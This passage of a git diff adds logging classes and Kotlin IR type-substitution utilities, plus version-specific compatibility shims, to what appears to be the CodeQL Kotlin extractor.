+            fullMsgBuilder.append("  ...while extracting a ${x.kind} (${x.name}) at ${x.loc}\n")
+        }
+        fullMsgBuilder.append(suffix)
+
+        val fullMsg = fullMsgBuilder.toString()
+        val locStr = if (locationString == null) "" else "At " + locationString + ": "
+        val kind = if (severity <= Severity.WarnHigh) "WARN" else "ERROR"
+        val logMessage = LogMessage(kind, "Diagnostic($diagnosticLocStr): $locStr$fullMsg")
+        // We don't actually make the location until after the `return` above
+        val locationId = mkLocationId()
+        val diagLabel = tw.getFreshIdLabel<DbDiagnostic>()
+        tw.writeDiagnostics(diagLabel, "CodeQL Kotlin extractor", severity.sev, "", msg, "${logMessage.timestamp} $fullMsg", locationId)
+        tw.writeDiagnostic_for(diagLabel, StringLabel("compilation"), file_number, file_number_diagnostic_number++)
+        logStream.write(logMessage.toJsonLine())
+    }
+
+    fun trace(tw: TrapWriter, msg: String) {
+        if (verbosity >= 4) {
+            val logMessage = LogMessage("TRACE", msg)
+            tw.writeComment(logMessage.toText())
+            logStream.write(logMessage.toJsonLine())
+        }
+    }
+
+    fun debug(tw: TrapWriter, msg: String) {
+        if (verbosity >= 4) {
+            val logMessage = LogMessage("DEBUG", msg)
+            tw.writeComment(logMessage.toText())
+            logStream.write(logMessage.toJsonLine())
+        }
+    }
+
+    fun info(tw: TrapWriter, msg: String) {
+        if (verbosity >= 3) {
+            val logMessage = LogMessage("INFO", msg)
+            tw.writeComment(logMessage.toText())
+            logStream.write(logMessage.toJsonLine())
+        }
+    }
+
+    fun warn(tw: TrapWriter, msg: String, extraInfo: String?) {
+        if (verbosity >= 2) {
+            diagnostic(tw, Severity.Warn, msg, extraInfo)
+        }
+    }
+    fun error(tw: TrapWriter, msg: String, extraInfo: String?) {
+        if (verbosity >= 1) {
+            diagnostic(tw, Severity.Error, msg, extraInfo)
+        }
+    }
+
+    fun printLimitedDiagnosticCounts(tw: TrapWriter) {
+        for((caller, count) in logCounter.diagnosticCounts) {
+            if(count >= logCounter.diagnosticLimit) {
+                // We don't know if this location relates to an error
+                // or a warning, so we just declare hitting the limit
+                // to be an error regardless.
+                val logMessage = LogMessage("ERROR", "Total of $count diagnostics from $caller.")
+                tw.writeComment(logMessage.toText())
+                logStream.write(logMessage.toJsonLine())
+            }
+        }
+    }
+
+    fun flush() {
+        logStream.flush()
+    }
+
+    fun close() {
+        logStream.close()
+    }
+}
+
+open class Logger(val loggerBase: LoggerBase, open val tw: TrapWriter) {
+    private fun getDiagnosticLocation(): String? {
+        val st = Exception().stackTrace
+        for(x in st) {
+            when(x.className) {
+                "com.github.codeql.Logger",
+                "com.github.codeql.FileLogger" -> {}
+                else -> {
+                    return x.toString()
+                }
+            }
+        }
+        return null
+    }
+
+    fun flush() {
+        tw.flush()
+        loggerBase.flush()
+    }
+
+    fun trace(msg: String) {
+        loggerBase.trace(tw, msg)
+    }
+    fun trace(msg: String, exn: Throwable) {
+        trace(msg + "\n" + exn.stackTraceToString())
+    }
+    fun debug(msg: String) {
+        loggerBase.debug(tw, msg)
+    }
+
+    fun info(msg: String) {
+        loggerBase.info(tw, msg)
+    }
+
+    fun warn(msg: String, extraInfo: String?) {
+        loggerBase.warn(tw, msg, extraInfo)
+    }
+    fun warn(msg: String, exn: Throwable) {
+        warn(msg, exn.stackTraceToString())
+    }
+    fun warn(msg: String) {
+        warn(msg, null)
+    }
+
+    fun error(msg: String, extraInfo: String?) {
+        loggerBase.error(tw, msg, extraInfo)
+    }
+    fun error(msg: String) {
+        error(msg, null)
+    }
+    fun error(msg: String, exn: Throwable) {
+        error(msg, exn.stackTraceToString())
+    }
+}
+
+class FileLogger(loggerBase: LoggerBase, override val tw: FileTrapWriter): Logger(loggerBase, tw) {
+    fun warnElement(msg: String, element: IrElement) {
+        val locationString = tw.getLocationString(element)
+        val mkLocationId = { tw.getLocation(element) }
+        loggerBase.diagnostic(tw, Severity.Warn, msg, null, locationString, mkLocationId)
+    }
+
+    fun errorElement(msg: String, element: IrElement) {
+        val locationString = tw.getLocationString(element)
+        val mkLocationId = { tw.getLocation(element) }
+        loggerBase.diagnostic(tw, Severity.Error, msg, null, locationString, mkLocationId)
+    }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/TypeSubstitution.kt b/java/kotlin-extractor/src/main/kotlin/utils/TypeSubstitution.kt
new file mode 100644
index 00000000000..a4a15b45331
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/TypeSubstitution.kt
@@ -0,0 +1,238 @@
+package com.github.codeql.utils
+
+import com.github.codeql.KotlinUsesExtractor
+import com.github.codeql.getJavaEquivalentClassId
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.backend.common.ir.createImplicitParameterDeclarationWithWrappedDescriptor
+import org.jetbrains.kotlin.backend.common.lower.parents
+import org.jetbrains.kotlin.descriptors.ClassKind
+import org.jetbrains.kotlin.ir.builders.declarations.addConstructor
+import org.jetbrains.kotlin.ir.builders.declarations.buildClass
+import org.jetbrains.kotlin.ir.declarations.IrClass
+import org.jetbrains.kotlin.ir.declarations.IrTypeParameter
+import org.jetbrains.kotlin.ir.declarations.IrTypeParametersContainer
+import org.jetbrains.kotlin.ir.declarations.impl.IrExternalPackageFragmentImpl
+import org.jetbrains.kotlin.ir.declarations.impl.IrFactoryImpl
+import org.jetbrains.kotlin.ir.expressions.IrConstructorCall
+import org.jetbrains.kotlin.ir.expressions.impl.IrConstructorCallImpl
+import org.jetbrains.kotlin.ir.symbols.IrTypeParameterSymbol
+import org.jetbrains.kotlin.ir.symbols.impl.DescriptorlessExternalPackageFragmentSymbol
+import org.jetbrains.kotlin.ir.types.*
+import org.jetbrains.kotlin.ir.types.impl.IrSimpleTypeImpl
+import org.jetbrains.kotlin.ir.types.impl.IrStarProjectionImpl
+import org.jetbrains.kotlin.ir.types.impl.makeTypeProjection
+import org.jetbrains.kotlin.ir.util.classId
+import org.jetbrains.kotlin.ir.util.constructedClassType
+import org.jetbrains.kotlin.ir.util.constructors
+import org.jetbrains.kotlin.ir.util.parentAsClass
+import org.jetbrains.kotlin.name.FqName
+import org.jetbrains.kotlin.name.Name
+import org.jetbrains.kotlin.types.Variance
+import org.jetbrains.kotlin.utils.addToStdlib.firstIsInstanceOrNull
+
+fun IrType.substituteTypeArguments(params: List<IrTypeParameter>, arguments: List<IrTypeArgument>) =
+    when(this) {
+        is IrSimpleType -> substituteTypeArguments(params.map { it.symbol }.zip(arguments).toMap())
+        else -> this
+    }
+
+/**
+ * Returns true if substituting `innerVariance T` into the context `outerVariance []` discards all knowledge about
+ * what T could be.
+ *
+ * Note this throws away slightly more information than it could: for example, the projection "in (out List)" can refer to
+ * any superclass of anything that implements List, which specifically excludes e.g. String, but can't be represented as
+ * a type projection. The projection "out (in List)" on the other hand really is equivalent to "out Any?", which is to
+ * say no bound at all.
+ */
+private fun conflictingVariance(outerVariance: Variance, innerVariance: Variance) =
+    (outerVariance == Variance.IN_VARIANCE && innerVariance == Variance.OUT_VARIANCE) ||
+            (outerVariance == Variance.OUT_VARIANCE && innerVariance == Variance.IN_VARIANCE)
+
+/**
+ * When substituting `innerVariance T` into the context `outerVariance []`, returns the variance part of the result
+ * `resultVariance T`. We already know they don't conflict.
+ */
+private fun combineVariance(outerVariance: Variance, innerVariance: Variance) =
+    when {
+        outerVariance != Variance.INVARIANT -> outerVariance
+        innerVariance != Variance.INVARIANT -> innerVariance
+        else -> Variance.INVARIANT
+    }
+
+private fun subProjectedType(substitutionMap: Map<IrTypeParameterSymbol, IrTypeArgument>, t: IrSimpleType, outerVariance: Variance): IrTypeArgument =
+    substitutionMap[t.classifier]?.let { substitutedTypeArg ->
+        if (substitutedTypeArg is IrTypeProjection) {
+            if (conflictingVariance(outerVariance, substitutedTypeArg.variance))
+                IrStarProjectionImpl
+            else {
+                val newProjectedType = substitutedTypeArg.type.let { if (t.hasQuestionMark) it.withHasQuestionMark(true) else it }
+                val newVariance = combineVariance(outerVariance, substitutedTypeArg.variance)
+                makeTypeProjection(newProjectedType, newVariance)
+            }
+        } else {
+            substitutedTypeArg
+        }
+    } ?: makeTypeProjection(t.substituteTypeArguments(substitutionMap), outerVariance)
+
+fun IrSimpleType.substituteTypeArguments(substitutionMap: Map<IrTypeParameterSymbol, IrTypeArgument>): IrSimpleType {
+    if (substitutionMap.isEmpty()) return this
+
+    val newArguments = arguments.map {
+        if (it is IrTypeProjection) {
+            val itType = it.type
+            if (itType is IrSimpleType) {
+                subProjectedType(substitutionMap, itType, it.variance)
+            } else {
+                it
+            }
+        } else {
+            it
+        }
+    }
+
+    return IrSimpleTypeImpl(
+        classifier,
+        hasQuestionMark,
+        newArguments,
+        annotations
+    )
+}
+
+fun IrTypeArgument.upperBound(context: IrPluginContext) =
+    when(this) {
+        is IrStarProjection -> context.irBuiltIns.anyNType
+        is IrTypeProjection -> when(this.variance) {
+            Variance.INVARIANT -> this.type
+            Variance.IN_VARIANCE -> if (this.type.isNullable()) context.irBuiltIns.anyNType else context.irBuiltIns.anyType
+            Variance.OUT_VARIANCE -> this.type
+        }
+        else -> context.irBuiltIns.anyNType
+    }
+
+fun IrTypeArgument.lowerBound(context: IrPluginContext) =
+    when(this) {
+        is IrStarProjection -> context.irBuiltIns.nothingType
+        is IrTypeProjection -> when(this.variance) {
+            Variance.INVARIANT -> this.type
+            Variance.IN_VARIANCE -> this.type
+            Variance.OUT_VARIANCE -> if (this.type.isNullable()) context.irBuiltIns.nothingNType else context.irBuiltIns.nothingType
+        }
+        else -> context.irBuiltIns.nothingType
+    }
+
+fun IrType.substituteTypeAndArguments(substitutionMap: Map<IrTypeParameterSymbol, IrTypeArgument>?, useContext: KotlinUsesExtractor.TypeContext, pluginContext: IrPluginContext): IrType =
+    substitutionMap?.let { substMap ->
+        this.classifierOrNull?.let { typeClassifier ->
+            substMap[typeClassifier]?.let {
+                when(useContext) {
+                    KotlinUsesExtractor.TypeContext.RETURN -> it.upperBound(pluginContext)
+                    else -> it.lowerBound(pluginContext)
+                }
+            } ?: (this as IrSimpleType).substituteTypeArguments(substMap)
+        } ?: this
+    } ?: this
+
+object RawTypeAnnotation {
+    // Much of this is taken from JvmGeneratorExtensionsImpl.kt, which is not easily accessible in plugin context.
+    // The constants "kotlin.internal.ir" and "RawType" could be referred to symbolically, but they move package
+    // between different versions of the Kotlin compiler.
+    val annotationConstructor: IrConstructorCall by lazy {
+        val irInternalPackage = FqName("kotlin.internal.ir")
+        val parent = IrExternalPackageFragmentImpl(
+            DescriptorlessExternalPackageFragmentSymbol(),
+            irInternalPackage
+        )
+        val annoClass = IrFactoryImpl.buildClass {
+            kind = ClassKind.ANNOTATION_CLASS
+            name = irInternalPackage.child(Name.identifier("RawType")).shortName()
+        }.apply {
+            createImplicitParameterDeclarationWithWrappedDescriptor()
+            this.parent = parent
+            addConstructor {
+                isPrimary = true
+            }
+        }
+        val constructor = annoClass.constructors.single()
+        IrConstructorCallImpl.fromSymbolOwner(
+            constructor.constructedClassType,
+            constructor.symbol
+        )
+    }
+}
+
+fun IrType.toRawType(): IrType =
+    when(this) {
+        is IrSimpleType -> {
+            when(val owner = this.classifier.owner) {
+                is IrClass -> {
+                    if (this.arguments.isNotEmpty())
+                        this.addAnnotations(listOf(RawTypeAnnotation.annotationConstructor))
+                    else
+                        this
+                }
+                is IrTypeParameter -> owner.superTypes[0].toRawType()
+                else -> this
+            }
+        }
+        else -> this
+    }
+
+fun IrClass.toRawType(): IrType {
+    val result = this.typeWith(listOf())
+    return if (this.typeParameters.isNotEmpty())
+        result.addAnnotations(listOf(RawTypeAnnotation.annotationConstructor))
+    else
+        result
+}
+
+fun IrTypeArgument.withQuestionMark(b: Boolean): IrTypeArgument =
+    when(this) {
+        is IrStarProjection -> this
+        is IrTypeProjection ->
+            this.type.let { when(it) {
+                is IrSimpleType -> if (it.hasQuestionMark == b) this else makeTypeProjection(it.withHasQuestionMark(b), this.variance)
+                else -> this
+            }}
+        else -> this
+    }
+
+typealias TypeSubstitution = (IrType, KotlinUsesExtractor.TypeContext, IrPluginContext) -> IrType
+
+fun matchingTypeParameters(l: IrTypeParameter?, r: IrTypeParameter): Boolean {
+    if (l === r)
+        return true
+    if (l == null)
+        return false
+    // Special case: match List's E and MutableList's E, for example, because in the JVM lowering they will map to the same thing.
+    val lParent = l.parent as? IrClass ?: return false
+    val rParent = r.parent as? IrClass ?: return false
+    val lJavaId = getJavaEquivalentClassId(lParent) ?: lParent.classId
+    return (getJavaEquivalentClassId(rParent) ?: rParent.classId) == lJavaId && l.name == r.name
+}
+
+// Returns true if type is C<T1, T2, ...> where C is declared `class C<T1, T2, ...> { ... }`
+fun isUnspecialised(paramsContainer: IrTypeParametersContainer, args: List<IrTypeArgument>): Boolean {
+    val unspecialisedHere = paramsContainer.typeParameters.zip(args).all { paramAndArg ->
+        (paramAndArg.second as? IrTypeProjection)?.let {
+            // Type arg refers to the class' own type parameter?
+            it.variance == Variance.INVARIANT &&
+            matchingTypeParameters(it.type.classifierOrNull?.owner as? IrTypeParameter, paramAndArg.first)
+        } ?: false
+    }
+    val remainingArgs = args.drop(paramsContainer.typeParameters.size)
+
+    val parentClass = paramsContainer.parents.firstIsInstanceOrNull<IrClass>()
+
+    val parentUnspecialised = when {
+        remainingArgs.isEmpty() -> true
+        parentClass == null -> false
+        else -> isUnspecialised(parentClass, remainingArgs)
+    }
+    return unspecialisedHere && parentUnspecialised
+}
+
+// Returns true if type is C<T1, T2, ...> where C is declared `class C<T1, T2, ...> { ... }`
+fun isUnspecialised(type: IrSimpleType) = (type.classifier.owner as? IrClass)?.let {
+    isUnspecialised(it, type.arguments)
+} ?: false
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/Psi2IrFacade.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/Psi2IrFacade.kt
new file mode 100644
index 00000000000..2c9e5f65e94
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/Psi2IrFacade.kt
@@ -0,0 +1,11 @@
+package com.github.codeql.utils.versions
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.psi.KtFile
+
+interface Psi2IrFacade {
+    fun getKtFile(irFile: IrFile): KtFile?
+    fun findPsiElement(irElement: IrElement, irFile: IrFile): PsiElement?
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Descriptors.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Descriptors.kt
new file mode 100644
index 00000000000..d2a3de0b2c4
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Descriptors.kt
@@ -0,0 +1,17 @@
+package com.github.codeql.utils.versions
+
+import com.github.codeql.KotlinUsesExtractor
+import com.github.codeql.Severity
+import org.jetbrains.kotlin.ir.ObsoleteDescriptorBasedAPI
+import org.jetbrains.kotlin.ir.util.DeclarationStubGenerator
+import org.jetbrains.kotlin.ir.util.SymbolTable
+
+@OptIn(ObsoleteDescriptorBasedAPI::class)
+fun <TIrStub> KotlinUsesExtractor.getIrStubFromDescriptor(generateStub: (DeclarationStubGenerator) -> TIrStub) : TIrStub? =
+    (pluginContext.symbolTable as? SymbolTable) ?.let {
+        val stubGenerator = DeclarationStubGenerator(pluginContext.moduleDescriptor, it, pluginContext.languageVersionSettings)
+        generateStub(stubGenerator)
+    } ?: run {
+        logger.error("Plugin context has no symbol table, couldn't get IR stub")
+        null
+    }
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/FileEntry.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/FileEntry.kt
new file mode 100644
index 00000000000..cdefc93f18f
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/FileEntry.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.ir.SourceManager
+
+typealias FileEntry = SourceManager.FileEntry
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Functions.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Functions.kt
new file mode 100644
index 00000000000..2fd45e905d9
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Functions.kt
@@ -0,0 +1,8 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.ir.declarations.IrClass
+
+fun functionN(pluginContext: IrPluginContext): (Int) -> IrClass {
+    return { i -> pluginContext.irBuiltIns.functionFactory.functionN(i) }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Psi2Ir.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Psi2Ir.kt
new file mode 100644
index 00000000000..16ee288d05a
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Psi2Ir.kt
@@ -0,0 +1,21 @@
+package com.github.codeql.utils.versions
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.psi.KtFile
+import org.jetbrains.kotlin.psi2ir.PsiSourceManager
+
+class Psi2Ir : Psi2IrFacade {
+    companion object {
+        val psiManager = PsiSourceManager()
+    }
+
+    override fun getKtFile(irFile: IrFile): KtFile? {
+        return psiManager.getKtFile(irFile)
+    }
+
+    override fun findPsiElement(irElement: IrElement, irFile: IrFile): PsiElement? {
+        return psiManager.findPsiElement(irElement, irFile)
+    }
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Types.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Types.kt
new file mode 100644
index 00000000000..15a64232e37
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_4_32/Types.kt
@@ -0,0 +1,7 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.jvm.codegen.isRawType
+import org.jetbrains.kotlin.ir.types.IrSimpleType
+
+
+fun IrSimpleType.isRawType() = this.isRawType()
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Descriptors.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Descriptors.kt
new file mode 100644
index 00000000000..dac7205218e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Descriptors.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.github.codeql.KotlinUsesExtractor
+import com.github.codeql.Severity
+import org.jetbrains.kotlin.ir.ObsoleteDescriptorBasedAPI
+import org.jetbrains.kotlin.ir.util.DeclarationStubGenerator
+import org.jetbrains.kotlin.ir.util.SymbolTable
+import org.jetbrains.kotlin.psi2ir.generators.DeclarationStubGeneratorImpl
+
+@OptIn(ObsoleteDescriptorBasedAPI::class)
+fun <TIrStub> KotlinUsesExtractor.getIrStubFromDescriptor(generateStub: (DeclarationStubGenerator) -> TIrStub) : TIrStub? =
+    (pluginContext.symbolTable as? SymbolTable) ?.let {
+        val stubGenerator = DeclarationStubGeneratorImpl(pluginContext.moduleDescriptor, it, pluginContext.languageVersionSettings)
+        generateStub(stubGenerator)
+    } ?: run {
+        logger.error("Plugin context has no symbol table, couldn't get IR stub")
+        null
+    }
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/FileEntry.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/FileEntry.kt
new file mode 100644
index 00000000000..e09b6baa52e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/FileEntry.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.ir.IrFileEntry
+
+typealias FileEntry = IrFileEntry
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Functions.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Functions.kt
new file mode 100644
index 00000000000..2fd45e905d9
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Functions.kt
@@ -0,0 +1,8 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.ir.declarations.IrClass
+
+fun functionN(pluginContext: IrPluginContext): (Int) -> IrClass {
+    return { i -> pluginContext.irBuiltIns.functionFactory.functionN(i) }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Psi2Ir.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Psi2Ir.kt
new file mode 100644
index 00000000000..256a8b3bb63
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Psi2Ir.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.backend.common.psi.PsiSourceManager
+import org.jetbrains.kotlin.backend.jvm.ir.getKtFile
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.psi.KtFile
+
+class Psi2Ir: Psi2IrFacade {
+    override fun getKtFile(irFile: IrFile): KtFile? {
+        return irFile.getKtFile()
+    }
+
+    override fun findPsiElement(irElement: IrElement, irFile: IrFile): PsiElement? {
+        return PsiSourceManager.findPsiElement(irElement, irFile)
+    }
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Types.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Types.kt
new file mode 100644
index 00000000000..15a64232e37
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_5_31/Types.kt
@@ -0,0 +1,7 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.jvm.codegen.isRawType
+import org.jetbrains.kotlin.ir.types.IrSimpleType
+
+
+fun IrSimpleType.isRawType() = this.isRawType()
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Descriptors.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Descriptors.kt
new file mode 100644
index 00000000000..661e3d425f6
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Descriptors.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.github.codeql.KotlinUsesExtractor
+import com.github.codeql.Severity
+import org.jetbrains.kotlin.ir.ObsoleteDescriptorBasedAPI
+import org.jetbrains.kotlin.ir.util.DeclarationStubGenerator
+import org.jetbrains.kotlin.ir.util.SymbolTable
+import org.jetbrains.kotlin.psi2ir.generators.DeclarationStubGeneratorImpl
+
+@OptIn(ObsoleteDescriptorBasedAPI::class)
+fun <TIrStub> KotlinUsesExtractor.getIrStubFromDescriptor(generateStub: (DeclarationStubGenerator) -> TIrStub) : TIrStub? =
+    (pluginContext.symbolTable as? SymbolTable) ?.let {
+        val stubGenerator = DeclarationStubGeneratorImpl(pluginContext.moduleDescriptor, it, pluginContext.irBuiltIns)
+        generateStub(stubGenerator)
+    } ?: run {
+        logger.error("Plugin context has no symbol table, couldn't get IR stub")
+        null
+    }
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/FileEntry.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/FileEntry.kt
new file mode 100644
index 00000000000..e09b6baa52e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/FileEntry.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.ir.IrFileEntry
+
+typealias FileEntry = IrFileEntry
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Functions.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Functions.kt
new file mode 100644
index 00000000000..816b9cc2272
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Functions.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+
+fun functionN(pluginContext: IrPluginContext) = pluginContext.irBuiltIns::functionN
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Psi2Ir.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Psi2Ir.kt
new file mode 100644
index 00000000000..256a8b3bb63
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Psi2Ir.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.backend.common.psi.PsiSourceManager
+import org.jetbrains.kotlin.backend.jvm.ir.getKtFile
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.psi.KtFile
+
+class Psi2Ir: Psi2IrFacade {
+    override fun getKtFile(irFile: IrFile): KtFile? {
+        return irFile.getKtFile()
+    }
+
+    override fun findPsiElement(irElement: IrElement, irFile: IrFile): PsiElement? {
+        return PsiSourceManager.findPsiElement(irElement, irFile)
+    }
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Types.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Types.kt
new file mode 100644
index 00000000000..15a64232e37
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_10/Types.kt
@@ -0,0 +1,7 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.jvm.codegen.isRawType
+import org.jetbrains.kotlin.ir.types.IrSimpleType
+
+
+fun IrSimpleType.isRawType() = this.isRawType()
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Descriptors.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Descriptors.kt
new file mode 100644
index 00000000000..661e3d425f6
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Descriptors.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.github.codeql.KotlinUsesExtractor
+import com.github.codeql.Severity
+import org.jetbrains.kotlin.ir.ObsoleteDescriptorBasedAPI
+import org.jetbrains.kotlin.ir.util.DeclarationStubGenerator
+import org.jetbrains.kotlin.ir.util.SymbolTable
+import org.jetbrains.kotlin.psi2ir.generators.DeclarationStubGeneratorImpl
+
+@OptIn(ObsoleteDescriptorBasedAPI::class)
+fun <TIrStub> KotlinUsesExtractor.getIrStubFromDescriptor(generateStub: (DeclarationStubGenerator) -> TIrStub) : TIrStub? =
+    (pluginContext.symbolTable as? SymbolTable) ?.let {
+        val stubGenerator = DeclarationStubGeneratorImpl(pluginContext.moduleDescriptor, it, pluginContext.irBuiltIns)
+        generateStub(stubGenerator)
+    } ?: run {
+        logger.error("Plugin context has no symbol table, couldn't get IR stub")
+        null
+    }
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/FileEntry.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/FileEntry.kt
new file mode 100644
index 00000000000..e09b6baa52e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/FileEntry.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.ir.IrFileEntry
+
+typealias FileEntry = IrFileEntry
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Functions.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Functions.kt
new file mode 100644
index 00000000000..816b9cc2272
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Functions.kt
@@ -0,0 +1,5 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+
+fun functionN(pluginContext: IrPluginContext) = pluginContext.irBuiltIns::functionN
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Psi2Ir.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Psi2Ir.kt
new file mode 100644
index 00000000000..256a8b3bb63
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Psi2Ir.kt
@@ -0,0 +1,18 @@
+package com.github.codeql.utils.versions
+
+import com.intellij.psi.PsiElement
+import org.jetbrains.kotlin.backend.common.psi.PsiSourceManager
+import org.jetbrains.kotlin.backend.jvm.ir.getKtFile
+import org.jetbrains.kotlin.ir.IrElement
+import org.jetbrains.kotlin.ir.declarations.IrFile
+import org.jetbrains.kotlin.psi.KtFile
+
+class Psi2Ir: Psi2IrFacade {
+    override fun getKtFile(irFile: IrFile): KtFile? {
+        return irFile.getKtFile()
+    }
+
+    override fun findPsiElement(irElement: IrElement, irFile: IrFile): PsiElement? {
+        return PsiSourceManager.findPsiElement(irElement, irFile)
+    }
+}
\ No newline at end of file
